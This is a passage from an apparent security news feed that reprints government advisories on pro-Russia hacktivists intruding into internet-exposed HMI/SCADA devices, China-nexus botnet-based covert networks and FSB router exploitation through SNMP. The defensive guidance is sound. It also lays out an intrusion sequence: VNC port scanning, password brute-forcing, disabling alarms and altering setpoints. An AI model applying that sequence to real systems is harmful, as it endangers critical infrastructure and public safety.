Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

  • Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
  • Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
  • Use VNC software to access hosts [T1021.005].
  • Confirm connection to the vulnerable device [T0886].
  • Brute force the password, if required [T1110.003].
  • Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
  • Log the confirmed vulnerable device IP address, port, and password.
  • Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
    • Modify usernames/passwords [T0892];
    • Modify parameters [T0836];
    • Modify device name [T0892];
    • Modify instrument settings [T0831];
    • Disable alarms [T0878];
    • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
    • Device restart or shutdown [T0816].
  • Disconnect from the device, ending the VNC connection.
  • Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 1. Reconnaissance
Technique Title ID Use
Gather Victim Organization Information T1591 Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning T1595.002 Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.
Table 2. Resource Development
Technique Title ID Use
Acquire Infrastructure: Virtual Private Server T1583.003 Threat actors use virtual infrastructure to obfuscate identifiers.
Table 3. Initial Access
Technique Title ID Use
Internet Accessible Device T0883 Threat actors gain access through less secure HMI devices exposed to the internet.
Table 4. Persistence
Technique Title ID Use
Valid Accounts T0859 Threat actors use password guessing tools to access legitimate accounts on the HMI devices.
Table 5. Credential Access
Technique Title ID Use
Brute Force: Password Spraying T1110.003 Threat actors use tools to rapidly guess common or simple passwords.
Table 6. Lateral Movement
Technique Title ID Use
Default Credentials T0812 Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services T0886 Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC T1021.005 Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.
Table 7. Execution
Technique Title ID Use
Graphical User Interface T0823 Threat actors interact with HMI devices via GUIs, attempting to modify control devices.
Table 8. Inhibit Response Function
Technique Title ID Use
Device Restart/Shutdown T0816 While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression T0878 Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential T0892 Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.
Table 9. Impair Process Control
Technique Title ID Use
Modify Parameter T0836 Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message T0855 Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.
Table 10. Impact
Technique Title ID Use
Loss of Productivity and Revenue T0828 Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View T0829 Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 
Manipulation of Control T0831 Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

  1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
  2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
  3. Reimage compromised hosts.
  4. Provision new account credentials.
  5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
  6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
    • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
      Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
    • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
    • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
      • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
      • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
      • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
      • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
  • Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
    • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
      • Keep VNC systems updated with the latest version available.
    • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
  • Ensure OT assets use robust authentication procedures.
    • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
    • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
    • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
    • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
    • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
  • Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
  • Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
    • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
    • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
  • Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
  • Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
  • Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

  • Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
  • Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
  • Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
    • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
  • Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

  1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

Additional resources that apply to this advisory include:

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

  • Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
  • For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

  • GRU military unit 74455
    • Sandworm Team
    • Voodoo Bear
    • Seashell Blizzard
    • APT44
  • Cyber Army of Russia Reborn (CARR)
    • CyberArmy of Russia
    • ĐĐ°Ń€ĐŸĐŽĐœĐ°ŃÂ CyberĐŃ€ĐŒĐžŃÂ (НКА)
    • People’s CyberArmy of Russia (PCA)
    • Russian CyberArmy Team (RCAT)
  • NoName057(16)
    • NoName057(16) Spain
    • NoName057(16) Italy
    • NoName057(16) France
  • Z-Pentest
    • Z-Pentest Beograd
    • Z-Pentest Alliance
    • Z-Alliance
]]> <![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]> https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ Sat, 25 Jul 2026 09:10:14 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de

Defending against china-nexus covert networks of compromised devices

executive summary

Defending against China-nexus covert networks of compromised devices 

Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 

Summary

With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

  • Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • Germany Federal Office for the Protection of the Constitution -   Bundesamt fĂŒr Verfassungsschutz (BfV)
  • Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
  • Germany Federal Office for Information Security - Bundesamt fĂŒr Sicherheit in der Informationstechnik (BSI)
  • Japan National Cybersecurity Office (NCO) - ć›œćź¶ă‚”ă‚€ăƒăƒŒç”±æ‹Źćź€
  • Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
  • Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Spain National Cryptologic Centre – Centro CriptolĂłgico Nacional (CCN)
  • Sweden National Cyber Security Centre - Nationellt cybersĂ€kerhetscenter (NCSC-SE)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Federal Bureau of Investigation (FBI)
  • United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 

Introduction  

Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 

Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 

The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  

This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.

Covert Networks 

Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 

Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 

Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 

The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 

Typical Network Topology

The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 

However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 

A diagram illustrating the basic setup of a covert network.
A diagram illustrating the basic setup of a covert network.

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 

Protective Advice 

Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  

The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 

Further guidance for all organizations facing cyber security threats is available on the NCSC website. 

This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.

All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

  • Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
  • Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
    • Would you expect connections from consumer broadband ranges?
  • Leverage available dynamic threat feeds which include covert network infrastructure.
  • Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 

Larger or more at-risk organizations

Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

  • Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
  • Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
  • Implement zero trust policies for connections.
  • Enforce machine certificates for Secure Sockets Layer (SSL) connections.
  • Reduce the internet-facing presence of the IT estate.
  • Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 

Largest or most at-risk organizations 

If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

  • Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
  • Track and map covert networks reported by industry or government by looking at banners and certificates.
  • Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
  • Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  

MITRE ATT&CKŸ 

This advisory has been compiled with respect to the MITRE ATT&CKŸ framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 

Tactic 

ID 

Technique 

Procedure 

Resource Development 

T1584.005 

Compromise Infrastructure: Botnet 

Botnets are used as core components of covert networks 

Resource Development 

T1584.008 

Compromise Infrastructure: Network Devices 

Devices are compromised and added to botnets 

Resource Development 

T1583.003 

Acquire Infrastructure: Virtual Private Server 

Virtual private servers (VPS) are used in covert networks, typically as on-ramps 

Command and Control 

T1090.003 

Proxy: Multi-hop Proxy 

Used by China-nexus cyber actors to route traffic 

 Appendix: Cyber Security Best Practices 

In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Disclaimer  

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  

All material is UK Crown Copyright © 

]]> <![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]> https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/ https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/ Sat, 25 Jul 2026 08:51:21 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors

Executive summary

Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 

This CSA is being released by the following authoring and co-sealing agencies: 

  • United States National Security Agency (NSA)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Federal Bureau of Investigation (FBI)
  • United States Department of Defense Cyber Crime Center (DC3)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1 
  • Danish Defence Intelligence Service (DDIS)2 
  • Estonian Foreign Intelligence Service (EFIS)3 
  • Estonian Information System Authority (RIA)4
  • Finnish Defence Intelligence (FDI)5
  • Finnish Security and Intelligence Service (SUPO)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8 
  • Italian Internal Intelligence and Security Agency (AISI)9
  • The Military Counterintelligence Service of Poland (SKW)10 
  • Sweden National Cyber Security Centre (NCSC-SE)11 

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.
Figure 1: FSB Center 16 activity and recommended mitigation actions

Download the PDF version of this report:

Cybersecurity industry tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

  • Berserk Bear 
  • Energetic Bear
  • Crouching Yeti 
  • Dragonfly
  • Ghost Blizzard
  • Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Targeting details

Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

  • Communications,
  • Defense Industrial Base,
  • Energy,
  • Financial Services,
  • Government Services and Facilities, especially organizations at the state and local level, and
  • Healthcare and Public Health.

Technical details

Note: This advisory uses the MITRE ATT&CKÂź Matrix for Enterprise12 framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFENDTM version 1.4.0.

The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

  • Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
